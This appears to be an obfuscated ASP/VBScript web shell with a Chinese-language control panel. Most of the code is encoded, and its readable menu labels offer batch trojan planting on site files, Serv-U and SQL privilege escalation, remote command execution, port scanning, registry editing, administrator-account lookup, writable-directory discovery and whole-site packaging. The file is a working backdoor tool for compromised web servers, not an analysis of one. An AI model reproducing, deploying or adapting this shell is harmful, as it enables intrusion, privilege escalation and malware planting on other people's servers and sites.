yF!Z*,@!@*,2.D,K4n )qk64N'J,√El2^/)(/68N'EPrl2MD /^+l.lAx[P&W=?nDP:'1KY4rxT)64:`rS8#'&dr(L)gnaY@#@&@#@&(0~oKV[+MKlDt@!@*rJPO4x@#@&,~U+dkkKx`rsKsNDKlDtEb{IIKlDt`wGsNDhlOtb@#@&2UN,(0@#@&(W,?+ddbWU`roKV[DhlY4J*xJrPPtx@#@&,PsKsNDnmO4'"WKYKlO4@#@&~PUn/kkGUvJsGs9+.nmO4Jb{sKVNDhCY4@#@&2 N~r6)s!UmDkW ~\lbxwW.:cb=I]?r@!0KDh~ l:nxrJ4k9n6W.sJrP:Y4GN{JEwK/OErPl1OkKx'rEE[`Id[EJE~Dl.oO'rJor^+s.Cs+EJ@*E@#@&]"?r@!k w!OPDX2+{JE4bNNUJrPxmhn'rJzmOkGUrJ@*J@#@&I"?E@!bxw;O,YzwxrJ4bN9+xrJ,Uls+xJrsHCs+Jr@*J@#@&I"jE@!J0KDh@*E@#@&I]?r@!Ym4sn,hk[O4'vFZTuB~4+botD'Eq!Z]vP,4G.9+D{TP1+V^2CN9k oxBTv,mnV^dwmmrUT'BTv@*J@#@&"]UJ@!DD@*@!Y9P4nkTtO'E&Tv,mW^dwmx'E+v@*r@#@&I]?E@!Dl8V~hbNO4{BFTTuB@*J@#@&"Ijr@!6WDsP C:'vl9N.WKD:E~:YtK[xBaWkYvPC^DkGx{vJLj]JLJB~OmDL+DxE{2mDxYE@*r@#@&"IjJ@!Y.@*@!YN,Ak9Yt{v!EPmVroUxEmnxDnDE@*地址栏:@!&DN@*@!O9@*E@#@&]"?E@!k wEDP C:'vsKV[nMnlD4B,/YHsn'EhbNOtlqZ!YB,-l^EnxEJ[jnk/rW crsG^NDnmY4E#LJv@*r@#@&]"?J@!&Y9@*@!D[~hbNDtxBq*ZB~l^ro 'v^xYn.E@*@!k 2!Y~ ls+'E?!8:bYvPDX2n{B/!8:bYB,-CV!+{B转到v@*~@!bx2ED~YHwnxE/E8hbYvP7C^En{B刷新主窗口EPW m^rm0'vsbVnoMl: VKmlDrGxcDVGl[c*B@*J,@#@&"IjE,P@!O.,lskTU{B^xD+DEP7CVboU'E:r[9V+E@*J@#@&I"jE@!DD@*提权目录列表:『@!CP4.0xBNC\m/^.bwYlj4WAsKs9+.vJrZ)'-h.WTDC:,srs/JrbB@*nDKL.ls@!Jl@*』『@!C~4Dn0{vLm\Cd1Dk2O=?4WSoKV[DvJJ;)'wfKm;:xOd,lx9~?YYbUL/'-zVsPidDd-'EJ*B@*)^VjdnM/@!zm@*』『@!l~4D0'ELm-lkm.kaYlj4WhwGV9+DvEEZ=-'fGm;hxO/,Cx9PjnDYkULk-wb^s,jdDk--「开始」菜单'-程序'wJr#v@*程序@!zC@*』『@!lP4.+6'BNC-lkmMk2Ylj4WAsKsNDcErZ)wwGW^Esn Yd,l NPU+DOk od-'bss,j/./'-ba2sk1lDkGx~9mYC-'jXslUOm-w21bUXS4Dn'-rJ#E@*a^b XAtDn@!Jl@*』『@!CP4D+6xvLm\m/^Dr2D)jtKAsKV[nM`JE^=-wnMGTDCsPwkV/'w/D-O!-wEr#B@*d+M\O!@!&l@*』『@!mP4DnW{B%l7C/1Dr2D)?4GSsGV9nM`ErZ=--hDKLDm:~sbVnd'-ICVrJ#E@*]+mVU+.\n.@!zC@*』『@!CP4DnW{BLC-m/^Db2D)j4WSsW^N.`rJ/)'-K.KoDmhPwkVdw-tk1DG/GWDPjpd~?D-nM--EE*B@*?5J@!zC@*』『@!mPtM+6xBNl-lkm.raY)U4WSsW^[nDvJrZl-w &19rqj-'/zdD+:f+'-^W Wbow'Jr#B@*mKU0bo@!zm@*』『@!C,tDW'ELl7CdmMkaYl?4GSsGV9nDvJE^=-- (gf6Uw'/zkY:&y-'rxYdD7-w[mYl'wJr#B@*[CYm@!Jl@*』『@!C~4Dn0{vLm\Cd1Dk2O=?4WSoKV[DvJJ1)'whbx[WS/ww:+:aw-rJ#E@*P+sw@!zC@*』『@!C,t.+6xBNl-CkmDr2D)jtKAwWs9+M`JrZ=w-"2/5;S3]'-JrbB@*I2;e/SAI@!zC@*』『@!C,t.+6xBNl-CkmDr2D)jtKAwWs9+M`JrZ=w-GW^Es+UOkPl [PU+YDrUok-'bsV~ik+./'wfKm;hxYdw'JE#E@*GW^!:xYk@!JC@*』@!zON@*@!O[@*J@#@&]IUJ@!JO[@*@!zDD@*@!&WKDh@*@!&Ym4sn@*@!z^n YnD@*@!JY[@*@!JYD@*@!D.@*@!Y[PSk[O4'B8{!E@*J@#@&]IUJ@!kWDChPUlsn'ESnWDBPd.1'vgz^DkG 'tlk HUEEPAk9Y4xEFGZvP4+kT4O'EFZ!YB~WMlh+(GD9+.xE!B~8KD[+MxE!v@*@!Jk0Mlsn@*@!zON@*J@#@&"I?r@!Y9@*J@#@&]IUJ@!kWDChPUlsn'EsrssDChB~/M^{B_zmDkW 'U4WSFok^+v~SkND4'EF!ZYvP4+bo4Yxv8!T]E~0Mlhn(WD[nM'v!E@*@!zr6Dm:+@*J@#@&I"?E@!JY[@*@!zYM@*@!JYl(sn@*r@#@&2UN~o!x^YbGx=s;U1YkGU,HCk \x;v#=IIUJ@!Ol(VnPSk[O4'B8T!uBP1nsVkwmmrxLxE!vP1nV^wC[9kxLxE!v@*r@#@&I]UJ@!YD@*@!D[P4+ro4YxvlB@*@!&Y9@*@!JO.@*r@#@&I]?E@!DD@*@!D[@*@!mnUD+D@*@!b:LPk.1'ErtDYw=zJAhSRCk.tCUcmWs&oY4M 2tag!Ds'E'9WhlbU[r[dOHV+x+rJ@*@!Jrso@*@!z1+xD+M@*J@#@&]IUJ@!&DN@*@!&YM@*J@#@&(0,r(Kc!Sq*'EPr~K4+U@#@&IIjE@!Y.@*@!O9P4kTtY{By*B@*无权限z无o?}@!&O9@*@!JOD@*J@#@&3s/@#@&I]?E@!DD@*@!D[P4+rL4Y'++,WU:K;k+G7+M'Jr:UE8RdYHVn 9k/aslH'BEEE@*@!4@*@!WWUO,mGVK.'M+[@*,↘◇查看硬盘◇↙@!zWG Y@*@!J8@*@![b\,kN{:UE8PdYHVnxrJhb[Y4)FZTYi9kkwslzxExGxvJrPGUsWEdnKEO'rEs+U!Fc/YH/DzVR[kkwsCH'B GxBJr@*E@#@&?Y~b$/{1nh,JAw)]]UPb$/c?4WS9Mk-Dv#)U+D~b~Zx1KY4r o@#@&]IUJ@!J[r\@*@!JY[@*@!&DD@*@!D.@*@!Y[~4+kL4D'v Zv@*@!C,tM+0{BNC\m/^DbwOlUtWSoW^N+McEJr["+KlO4v "GWD#'ErJ#v@*@!4@*〖站点根目录〗@!J8@*@!&m@*@!zY9@*@!&YM@*E@#@&I]jr@!YM@*@!DNP4nro4Y{B+!v@*@!l~tMn0{B%C7l/^.bwO)U4KhoKV9+DvJrE["+KlDtc]KWYhCY4#[rEE#E@*@!4@*〖本程序目录〗@!&8@*@!&l@*@!zDN@*@!JYD@*E@#@&]IUE@!Y.@*@!DNP4+bLtD'v ZB@*@!mPtMn0{BLm-C/1DbwO)o;^VoWMh`rJE'"+nCO4`j+kdbWUvJwWV9+MKlDtE#LJwHhsKsNDJ*'EJr~rJH+AoKV[+MEJ*B@*〖新建目录〗@!Jl@*@!&DN@*@!JOM@*E@#@&"I?r@!D.@*@!Y[P4+rL4Y'E+!E@*@!m~4D0{B_b^ObWU'A[kDsrsBPOCMonY{vwkssMl:B@*〖新建文本〗@!zm@*@!zDN@*@!JYD@*E@#@&IIUE@!YM@*@!Y[P4nbo4Y{v ZB@*@!mPt.n6'vgz^DkG '`wsbVvPDl.oYxvwkVoDm:+E@*〖上传文件〗@!zm@*@!zON@*@!JY.@*r@#@&"IjE@!YD@*@!DN~trTtO{By!B@*@!m~tM+W'Eg)^DkW xw^o:E~OlMoYxBor^+oDmh+E@*@!&(@*●批量挂马`快速版b●@!Jl@*@!J[b\@*@!zDN@*@!zD.@*r@#@&I"?E@!DD@*@!ON,t+bL4Y{By!v@*@!C,t.+6xBQb^ObWxx/aVL:L\{Fv,YmDoY{vsbVnsMlhnE@*●批量@!(@*挂马@!J4@*v超强版b●@!zm@*@!zON@*@!JY.@*r@#@&"IjE@!YD@*@!DN~trTtO{By!B@*@!m~tM+W'Eg)^DkW xZaVos'\'yB,YCDLnD'vsbs+wDChB@*●批量@!8@*清马@!&4@*c超强版*●@!&m@*@!zY9@*@!&YM@*E@#@&I]jr@!YM@*@!DNP4nro4Y{B+!v@*@!l~tMn0{B_)1YkGU{Z2VThLHx2B,YlMoO'EsrVs.Cs+B@*●批量@!4@*替换@!z(@*c超强版#●@!zm@*@!zO[@*@!&YM@*J@#@&]]UJ@!O.@*@!ON,4kL4Y{B ZB@*@!l,t.+6'v_zmYbGx{3:!hCB,YmDL+OxEsrVoDm:nv@*●查找@!4@*文件@!J4@*木马@!JC@*@!&DN@*@!zDD@*E@#@&I]?r@!O.@*@!Y9~tko4OxBy!E@*@!l~4M+W'E_b1YrG '?^C f.k7nwW.sB,YlMoO'EsrVs.Cs+B@*〖查看可写目录〗@!zm@*@!(.@*J@#@&"IjJ@!OM@*@!Y9~tkL4D'B+TE@*@!l,4M+W{BQbmDkKU'T+OKDhr lV&U0KBPDC.oY{BoksnwDC:v@*〖终端端口 自动登录〗@!&C@*@!4.@*r@#@&I"jr@!OM@*@!YN,tro4YxBy!v@*@!lP4.+6'BQ)^YbW 'j+.-D(x6GB,YC.T+Yxvwks+w.m:nE@*〖服务信息 组件支持〗@!zm@*@!8D@*J@#@&"IjE@!YD@*@!Y9PtrLtD'E TB@*@!mP4DW'Eg)^DkWUx;W;DknEPOmDT+Y{BwrVs.ls+v@*〖系统服务 用户账号〗@!zm@*@!(D@*r@#@&I"?r@!OD@*@!DN~tro4Yxvy!B@*@!mP4DW{B_zmDkW 'm[:bxC4EPOCMo+DxBwkVo.ls+E@*〖系统用户R查管理员〗@!&C@*@!8D@*E@#@&I]jr@!Y.@*@!Y[P4nbo4D'E !E@*@!CP4Dn0{B_)1YkKU'6Em0v~P,YmDL+OxEsrVoDm:nv@*〖安装软件〗@!zC@*@!4.@*r@#@&I]UJ@!YD@*@!D[P4+ro4Yxvy!B@*@!l,tDWxBQb1YrWUx4WG3E~P,YC.T+Yxvwks+w.m:nE@*〖服务设置〗@!zl@*@!(.@*r@#@&I"?E@!DD@*@!ON,t+bL4Y{ yPGxhG!/nW7nD{JEhxEf kYzV 9kdaVmX'EBrE@*@!4@*@!6WUO,mW^GD{D+9@*~↘◇提权工具◇↙@!J0KxO@*@!&(@*@!Nb-PbNxhxEf~kYzVxrJAbNDt)8!ZYi9kdw^lzxExW nBrJPKUhW!/W;YxEr:nx!fRkYzsRNrdaVCX{v WUBrJ@*r@#@&]IUJ'x(/2ILx4k2iLx4k2I@!mP4Dn0xvQb^YbGx{hhrEPYC.T+O'EobVnwDm:+E@*〖q\q远程执行命令〗@!zC@*@!4.@*r@#@&"]?r[x(d2iLx(/2i'U(/2i@!CP4DnW{Bg)^DkGx{d$VC(mEPYmDTnY{Bok^+o.m:+E@*〖?5S提权〗@!JC@*@!(D@*J@#@&]]UJ'x(dwp[U8kwi'U(/2i@!C,t.0{BgzmDrW 'LW9Xv~DlDTnY{BsbsnsMls+v@*〖漏洞检测〗@!&m@*@!4M@*J@#@&]]UJ[U8kwI[ 8kwILx(/wp@!m~tM+W'Eg)^DkW xZsNFU4nV^B,YCDLnD'vsbs+wDChB@*@!8@*〖Z\f命令〗@!&(@*@!Jl@*@!4M@*r@#@&"IjJLx8dai[ 8/ai[ 8dwp@!mP4DnW{B_b1OkKxxjD\;v,YCDTnD'vwk^+sMlsnB@*〖?;超强版〗@!Jl@*@!(D@*r@#@&"I?r'U4kwp[U4d2p[U4k2i@!l~4M+0xvQb^YbG 'd!0DwB,Ym.oYxBwksnwDlsnB@*〖?E oPn版〗@!zm@*@!4.@*r@#@&I"jJLx8dai[U8kwI[ 8kwI@!l,tD0{vgzmOkKxxj1lxhGDDBPDC.oY{BoksnwDC:v@*〖端口扫描〗@!zC@*@!4D@*E@#@&]IUELx8kwp[x(/aI[ 4dwp@!C~4D+6xBQbmDrGx{EaVGl[v,YCDTnY{Bor^+s.Cs+v@*〖直接下载〗@!&m@*@!(D@*J@#@&I"jJLx8/ai'U(/wp'x(/wp@!CP4D0xB_)1YrW xIl[]AMB~OmDL+DxEsr^+wDls+E@*〖注册表操作〗@!Jl@*@!(D@*E@#@&I"jJ@!YD@*@!ON,tkLtOxE *B,GxsW;dW\n.{JE:U! kYHV+cNbdw^lz'EBEE@*@!4@*@!0KxY,^GVKD{DnN@*↘◇数据操作◇↙@!J0GxD@*@!J4@*@!9k\~r9'h+ ;yPdDX^+'rJ^rxO4+bo4O=F%aaiSkND4lFZ!ui[kd2^lz'EUW +vErPWUhKEd+K;D'Er:xEyRkOX^+ Nb/2smX'EUW +BrE@*J@#@&"IjJ'U(/2iLU4kwI' 4/2I@!l~tMn6'vQb1YkKx{94tlUlT+.v,YlML+D'Bwrs+wDm:nB@*连接数据库@!Jl@*@!(.@*r@#@&]"?J'U(/2iLU(/2p[ 4/ai@!CP4Dn0{B%C7l/1.kaY)w;sVwWM:cJEELInnmOtv?ndkkWUcrsGV9nMnCDtr#[r-gnhc:[4r#'ErJ~rEZM+lDn\N(Jr#v@*建立\9~文件@!&l@*@!4M@*E@#@&IIjELx8/aILx8kwp[x(/aI@!mP4D0xvNl\mdmMkwDloE^VwW.:cErJ'IKlDtcj//rG `EsKs9+.hlDtJ*[rwNmYCRsN8E*[JrE~rJZKh2l1YtN8JEbE@*压缩\f~文件@!zm@*@!&9k\@*@!JY[@*@!&DD@*r@#@&2x9P&W@#@&I]?r@!O.@*@!Y9~tko4OxBy E@*@!l~4M+W'E_b1YrG 'nCLb[N:GtN8EPDlDT+DxBwks+wDChB@*●整站打包●@!&l@*@!zD[@*@!JYM@*E@#@&]"?E@!D.@*@!Y[~4+kL4D'v yv@*@!C,tM+0{Br'?bYnj"S'EEPYm.oY'EorVsMlh+v@*,〖程序更新〗@!&l@*@!zDN@*@!JYD@*~r@#@&I"jr@!OM@*@!YN,tro4YxBy v@*@!lP4.+6'BQ)^YbW 'JWLG!YvPDCDT+OxE{YG2E@*R@*退出登录@!R@!zC@*@!JYN@*@!JOD@*J@#@&"IjE@!YD@*@!Y9Pl^rLx{V0OPdOHVn'E^W^W.lM+Nv@*@!4.@*r'zf'r@!(D@*@!ksLPkD^'EJ'OKWVkA+([J(CrN!Rm/2gA"{J'ELEBSk[O4'!~4kLtDxZ@*@!Jkso@*@!zD[@*@!zOD@*@!&Om4V@*J@#@&k6~d+k/bWU`E(G+8ET\W9+Eb,@!@*~EK3EPD4xlXPs::=/d/bWU`rq9n(EotGNJ#{EG3r)x[PrW@#@&r0,d+k/rG `JCCk+E#,@!@*PEK3rPY4+ lD/2W /n SDkDnPA0E ld+k/bWU`ECm/nJ*xJK3ElxN~r6@#@&I"jr@!&Dl(V+@*J=3x9PoE mOrKx)U;4,H+kdCo`kYCYnSs/L~6slT#l]/wGUk+ MrD+~r@!:bAd2,Ak9Y4'W%T~(WD9nD{!Pmsro '1+UYn.,mnV^2l9NrUT'!~^Vs/aC1kUT'8P4TmKsWM':,8N{T9@*J@#@&I/wKUd+cMkO+~E,P@!K"@*J@#@&]nkwWUdR DbOPE,P,P@!:f,^Vm/d':AunmN@*系统信息@!&KG@*J@#@&]+kwKxd+ MkO+,EP,@!&P"@*J@#@&"+dwKUk+ qDbY+,J,~@!:I@*J@#@&]nkwW d+cDbOnPrP,P~@!P9,lskTU'sk[[^+P8L1WsWMx[+^6m1N@*r@#@&]+kwGxk+ MkY~JiPP@!P)Ad2,hrNO4{%+],8WMNn.{!P^n^V2l9[bxL{*,m+^Vk2l1kUo{!@*E@#@&IdwKx/ DbYPEd~~,P@!K"@*J@#@&]nkwWUdR DbOPEid,P@!:f@*@!s}1PP1WsGM'D[@*r@#@&"ndwKxk+ .rD+~/DCY@#@&]/wGUk+ MrD+~r@!JsrgK@*@!z:f@*J@#@&]nkwW d+cDbOnPrdi@!PI@*E@#@&]+k2W /n qDkOn,J7d,~@!K9@*@!h@*J@#@&"n/aWU/R .bY+,h/T@#@&"ndwKxk+ .rD+~J@!&n@*@!&PG@*J@#@&"+dwKUk+ qDbY+,Ji7@!JK]@*r@#@&]/wKU/RMrO+,JiP~@!&PzAJ2@*E@#@&IndaWxdnc.kDn,J7@!z:f@*r@#@&]+kwGxk+ MkY~J,P@!JP]@*r@#@&In/2G /nRq.kD+~E,P@!P]@*J@#@&"nkwG /RMkDnPrP~P,@!P9,mVmd/{KAAU[@*r@#@&In/2G /nRq.kD+~EiJ@#@&(6PWVmL{!~:tx@#@&IdwKxd+c.rD+Pr7P,PP,~@!qgn`K~Yz2'8EDOW P-C^E+x关闭~Kx^Vb^0'ErhbxNKhc^VK/n`*iEE@*J@#@&]+kwW dnRqDbYnPE7r@#@&2^d+@#@&]nkwWUdR DbOPEiP,PP,P@!(1hjPPDX2n{4EDOW P\ms;+{返回PKx/Vr^0'EJ4r/DW.zcoWcR8#IJr@*r@#@&"+kwW / MkO+,J7E@#@&2 [Pb0@#@&]n/aW /nR .bYnPr7@!JK9@*r@#@&]nkwGxknc.bYPJ,P@!&K"@*E@#@&IndaWxknRqDkDn~J@!z:b$S3@*r@#@&)AUN,?;8=rrxE^Vs@!eLk/GORc3W0 FR4 V @*D@!ZYM/;ZY"@*\Nmq|F1V4:@!RZY"45H#sNu"YG@!"]O.9;G=M.u"Zr@#@&+6m!O+v4cr}#blwEx1OkKxP"n[`kYM#lIn[,'~J@!orgK~^KVW.x[0W y+y@*E,[,/YMPL~J@!zorgK@*E=2x9~s!xmDrGx=?!4~?^C f.k7nsKDhc*)frh,sjrB9Mk-A=?+DPwjr,'~?D-nMRZMnlD+W(%nmD`r?^Dr2DkUocok^+jzkY+h6(LnmDE*@#@&6mED+vJj 2UZKNncr卐BZ" KncbuYv]NX hw&%akY;6N 卐Bmjpomg|:如。径路夹件文定指 /告报成生$Ny50PYHx.TyXAL!UHY5\jj1zdvYNXxSw&N6/D;aLq卐B;h%k5OnA%D6d]H8%z~LE=zu5tjUHz]Yu]E]LHxSw&N6dY!6% 卐E:询查夹件文定指ZXXOj~kYsz%DuhNk5YF4oAdY ztwfvYNXxAw2La/D;XL 卐EAkYxHtwYIqKFbu]vYNXxSw&N6/D;aLq卐REZLc)v _ BWvOsXWi!0IfAN ALoQcB_径路对绝站网前当;ozBOu(q 卐B;h%XkL4$kVx$W]]1qzvYLHxS-fLadDEaLq卐vZqM)/xpMoeWbv]Nz hw2LX/Y!6N 卐B;ecz]YvuLX A-2L6kO;6N卐EZ]PFWb7Bu%X hwfN6/O;XL 卐B;(Ic);告报细详ANy;6 uzxMo"6~L;=H]5\i?gbZN5rk D~/sx5Wuqebiv]NXUA'&LadDEaLq卐v;qeWbE]LHxSw&N6dY!6% 卐cGOS%k$Y|$WUtNEoX%SfPo|YLHUh'&%akYEa%q卐B/%~d6Ea$Y4]qIbiv]NXUh'&%akYEX%卐EZqI*)ZVcz夹件文时临统系Z!b/%$krxM$/^x5Wuq5)7E]%X A'&%X/DE6N卐EY]id/XXYi$bY:H%DuB]NzUh'&N6dY;aN卐 G ALb;OF$0x4%!(zLdf:(FuLHxh'&Na/DEaLq卐B$ANk;DF_SLk$OFtoAkYUX4oGBYLHUh'&%akYEa%q卐B$/DUHtWuIqK|z]uY]E]%X hwfN6/D;6N卐B;(eMIAX6W;4Yq5)]uv]NXUA'&LadDEaLq卐v;eWbu]BuLHUh'&%6kY;aN卐B;]:|cz7v]NX hw&%akY;6N 卐B;qe*zZ告报细详A%"$0`]HUMo"XANEUH]ItjU1)ZN;rr DAksx$0]&e)dE]NXUhwfN6dY!aLq卐B/(IcbvYNXUh'fN6dDEXL卐cv ALb;O|$0U4NE(H%S2K(nY%X h'&%6dO!6%卐E/%~/W;X;Y4Y&5)dEYNXUS-2L6kY!aLq卐B/qIc)/Vcb夹件文F0DNX6?p/MzZN;rkU.~/sx$W]&5)7E]LzUS-fLXdDEaN卐E]]id;z6Dj$kD:z%M]Bu%X h-2%a/DEXL 卐RRSLr;DF;6x4%!(X%J2Kp|u%HxA'&N6/DEX%卐EAALb;OF3hLb5Ynt(~dOxHtwfv]%z hw&Na/DEa%q卐BAdO X40u]qKFz]u]]E]NzxS-fLX/O;XL卐E/qIM5~aa0$tuebYYE]%X A-2LadDE6% 卐EZ 5W)u]vuLHxh'&Na/DEaLq卐B/]qK|W)dE]LHUA-2LX/OEa%q卐B/qI*b;告报细详A%"$0 Yz DLyX$NE=H]I}jU1z/L$krxMAds ;0u(5zdBu%zxS-2La/O;XL 卐B;(5WbvYNXxAw2La/D;XL 卐c* hLb;DF;6x4L!(z%d&KoF]NXxSwfLX/DEaL 卐v;%$/6;6$Y4Y&5b7vuLzxSw2LakY!6Lq卐B;(5Wb/MWb夹件文akDk/ wZVbZN5rk D~/sx5Wuqebiv]NXUA'&LadDEaLq卐vu]7iZH6Y`AbO:HL.]E]%z h-2%6kYEX% 卐RlOSLr;OF$0UtN;(HLJf:(|Y%HxA-2%X/O!6N卐B~hNr;D|QhNk5Ont(~dY Xtw9v]NX hw&%akY;6N 卐B~/OUHt0Y]qKFbuYu]vuLHxh'&Na/DEaLq卐B/(IM5~a66;tu ebu]E]%XUA'&%6kOEXL 卐z)L?卐v/q5*buYE]%HxS-&N6kOEXL 卐B;I Pncbiv]NXxSwfLX/DEaL 卐v;qecz/告报细详ANy5WP]XU.TyaAN;?XYI}`?1zZ&ebiBYLHxAw2L6kOEXL卐E/(5WbiBYLzUS-fLXdY!6% 卐HtL5%o]r/xYud卐v型类知未E]NXxSu2%6kY;6NY_N6;NYLX0CuY7d卐E盘磁Iwv]%z hk&Na/DEa%q]glYN6WCuYid卐v"Kq q_Bu%X hk&N6dO!6LqYgO]LXWu]udi卐B盘磁络网v]%z hk&Na/DEa%q]g0YN6WCuYid卐v盘硬地本E]NXxSu2%6kY;6NY_F]LXWCu]di卐v动移可v]NX hk&%akY;6N ]QvY%X0CYYu]Y]i卐%!UeN hq2MN`xSqYLX0uYHtL$%(卐EZB3 @!% hstQBX{~:zk k]&5)7E]LzUSufLXdDEaNh卐EZqIcz/MWb型类/MzZvQc@!% A:4_Bl{$:Hk uYqe)iBYLHUh-&%akYEa%S卐B/qI*zgvuLHxh-&Na/DEaLS卐h%zHLpN`xSq&V%`xSquLzxAk2La/D;6Nh卐v/E_R@!0 hht3v=v$sXbxuuqI)BuLzxSuf%X/Y!aLSd卐B;(eczZVc)符盘Z!);BQR@!0OS:4QE)G$hHkUuu(IbvuLHxh-&Na/DEaLS卐卐B/zXYj~rYsXLMYv]NX hk&%akY;6NA卐hNXz%5L UA&&!LPUSqYNX h-2LXdY!6%u卐B$%Pxh&QLPxh&dWtoAkYUX4oGBYLHUh'&%akYEa%q卐卐卐B$/DUHtWuIqK|z]uY]E]%X hwfN6/D;6N卐B;(eMIAX6W;4YN;rk .AkVU56]e)u]v]Nz hw2LX/Y!6N 卐6N Uh&&Ppn]/ YMN xS(Y:40x]AYFYu卐卐卐B/I*bu]vYNXxAw2La/D;XL 卐EZ&5cz息信夹件文统系c盘磁;r0NH!5~6aW$t]=$/6E6$O4]&5z]Y]YvuLzxSw&N6dO!6L 卐v;ebuYE]%HxS-&N6kOEXL 卐B;kX@!bv@*v$hD;Y_sL]+A^/UtW;X;5L4Y%~VdUbk0;5$L4]S%H/%4AkVx$0uXASLrhDoYX{,Aszk u]x}!sIbE]%XUA'&%6kOEXL E*#@#@&jY~sU6{1GDtbxo=2 [PUE8)6n^!Y+vJj 2x;G[+vJkYUX4d.|YkkBgSXpA'LY$uhwLq4o]Yu卐Vkx:HYUYAuKp|uX%pu]]卐^dxsXYUY$]SLb;O|zaN5YXNp]u]卐sd :XOjuAYXXU5L5 |H6LI]H%(u]Y卐3 ]rdx]]u卐Vxuk/xYY]i卐L.heF%.6/%; FkkYQuhLr5D3YL$UnLzN;Nq&:(nY]ud7卐B;5jPncb。写可EY_uhXoAwLq]~]AXpA'L ]uY]u]Y7卐N6;BYu]7卐B;eUKFWb。写可不E]_uhHph'L ]~]Azoh-N ]u]di卐AWL$C2hALYYu]Y]u7卐/N:eYShLYVg]Y]i卐%.he8LM0/N; FkkY_uh%r$Y3u%; |X)%eLH0Nhu&Ppn]Y]i卐vF读可uZ{{FG3Vc~hO;D4u5j:|zB]3]S%k$YV]~]Azoh-N ]u]]uYY卐LX;x]Y]卐VHukd9uY]i卐L"AIFL.WkL5xnrkY3]SLk$Y0YL$xFLHL5%&&KoF]u]di卐v/5UKnc)。写可BYQuhz(SwLq]$YSX(AwNY]uYu]Yi卐LX;9u]u7卐B;5jKnc)。写可不vu_]Sz(S-LqY$]SXohwL Yu]7d卐SWL$CfASL]YYu]Y]i卐dN:euhSL]01uY]i卐L"hIF%.6/L$U|b/uQYhNk$YV]%5 |z8NeLH0%A_&KpFu]Yd卐Eq读可不uZ{FGF33vASO;DtY5UKF)E]_uALb;Y0Y$]SXohwL Yu]7卐h6%;_&AAN]]YYu]Y卐/NhI]ASLu31u]u卐z8N?Y]u卐XaU5L; FXXL5udU]w]stW9YAD|Y]u卐vEMXfvu_] kD/RkkO4Lpu_uRuD/ %X./UIu_Y -Y/ AyDH]3Y uD/ UWqYQuB;DNzlE]$YND0d%$xFkk u]Y卐XhNk;D|T"(2h%k$YFzXL5u$]H6x5%5xnXXLe]z%o]Y]卐cALb;OV hLr5D|zLdf:(FuAuhLb;DFXXLe]HLpYu]卐REztNWo:.%XXUoL5xFf^/UX!Uh4(vRHtLGLDLz0NA_&AN SL(uAuP(n]zLo]YY卐ND0k%; |kk qhH(S-%qzXx}L$U|H6%e8hLr5D|z6Ne8Kpn]Mxqu]u卐z8N?YLMya%q]hDAhx]/:_ hNk$YVOAwN4(udY X4d.|gL"o]r/x_+FsXD4(FE息信夹件文Bu%V66aL"d卐sd :XDj]~]KoFYXN(i卐Rv[件文圾垃量大下留会夹件文写只在则否,面页本新刷次多要不vRbL ]3YB:意注;1})E]_YsXD4(u$uVaMtod卐3 ]bd9i卐Rv[限权读无或在存不E]QYSLk$O3 kLqYQ]E:夹件文Zgp)BYQuVaD4p]~]saMt(YYu]7卐LX5xd卐skxsXYU]~YhNk5YnKYzN(di卐s/ :XDjYAu6SLr;OF!D%5uzLod7卐z)L?77卐u] ( A'L 4(u_]E:夹件文Zg}bE_s6MtpY~]VX.to]]uYYdi卐6SLr;OF!D%5udxu(Yh409YAD|7d卐cANk5D3 h-N4p]3]v:录目根夹件文定指Zgp)vuA]^aD4(di卐aALb;D|LypfSLr;DFKuAYaSLk5OnE.LIYHLpid卐chLb;DVOSLr;D|z%d&KoF]~]hNr5YnKuX%(YYu]7卐/Nh5uRA%b;YVRXXax)BSLr$Yn&Ko|uV1i卐RvX4LGL:DLHaUoL; FfVkxHEUh4pEOztNGoDLzWNhCfAN ALoY~]Po|uXLod卐oqVXD4(8h%r$Y|!.LIFhNr5YnK8Kp|Y. q7卐X)%?uL."XLYADhA9ud:g SLb;Y0OS%k$YFto]L"ogo.p]b/9QVU]b/xd卐FAzoN;DNeFE息信盘磁gvY3]L`USqYL^WX6%"di卐RBL件文圾垃量大下留会夹件文写只在则否,面页本新刷次多要不B rLq]Q]E:意注ZH}zB]3YhH(N!.%5uAuhz([;MLedi卐s/ :zOU]AYPo|YXNpu]Yud卐^/xsXDj]~]% h(zXL5uzLodd卐0UYkk9u]Y]7卐v g现发有未但,录目根盘v]3YLPxA(u_]v举穷已/gp)BuQuhzoN!DLI]~YhH([EMLeYkL:HY*~X]0H7di卐X)Lj]YYud7卐3 Ykk9YYu]d77卐cRUOHa pANk$Y|!DNe]3]vlQBYQuL Aq h-N 4(u_uB:夹件文现发/1})E]Q]Sz(9E.%I]AYAH([EM%Id7idi卐v!H]~YXu]Y]id77卐kL:IYRcxOHaUpSLb;O|;.N5Y_uvlQBYQuL UA&OaXXU)9ANk$Y|2KoF]01Y]u]77i卐RXXUpSLk$OFEMLIOr/"OT}YYHY*uAYUuhYF7id卐 B!z0Xv8BTyEMuEqB!XVB8BL"!XLkHB8B6N5U|uD6hsYAiEFv6^dxHX%puk/WYXXdLM"4Y(EFE6;DYIvFEEhEEFv;X0B8v*l*GXkOkkx-BqB%.kxkB8voNuvqE'@*dU-BqBlXlGd uEFBkx-vFEXd/ uvqE6uDr/ uB =WhSsuAYXaU5h%k$O|!D%eidd卐 v:试测录目举穷EOrLqY3]v;15bBu_uAXoN;DN5Y$uhXo[EML5i77卐*~XQXqXaU5h%k$O|!D%euDx(7id卐 B _读可不EOrNu_]Eg录目根盘磁;HpzBY_uhzp9EDNe]~]hHp[EMLI]Y]Y7i卐La;xY]u]7卐skx:zOU]$]S%b;OnLX0MuXNpdid卐s/ :zOU]AuALb;Yn;.LI]HLpd77卐H8%?i7d卐cqRA'L4pu_YB:夹件文;H5bvu_uhXoN!.LI]$]SXp[!DLIY]u]di7卐ahNk$YFE.%I]dxu(]stWBuhYF7id卐ahNr$YFTyo&hNk$O|N6WMuAYaSLk$O|!DLIYzLodid卐ALr5D|zYD &N UA&X6%euAYhNr$YFN66M]HLo7di卐卐R BmgvY3]LPUh&OOSw%4(u_YB_录目根盘磁/gp)BuQ]cL.WULD"5D$fLPUSqzXLIOkNuQ]E:名卷盘磁ZHpzBYQuRRp@!){,*+*%P ($0zYefN Uh&z6N5Rzk1CRrNY_uv:量容总盘磁;1}zBu_]cLMW?NhW:o&%` hqHaLIOkN Y_uB:名享共盘磁;1}bvY3] hNLD.?5W hLpfN Uh&zXLe kN]3]E:号列序盘磁/15bv]3] 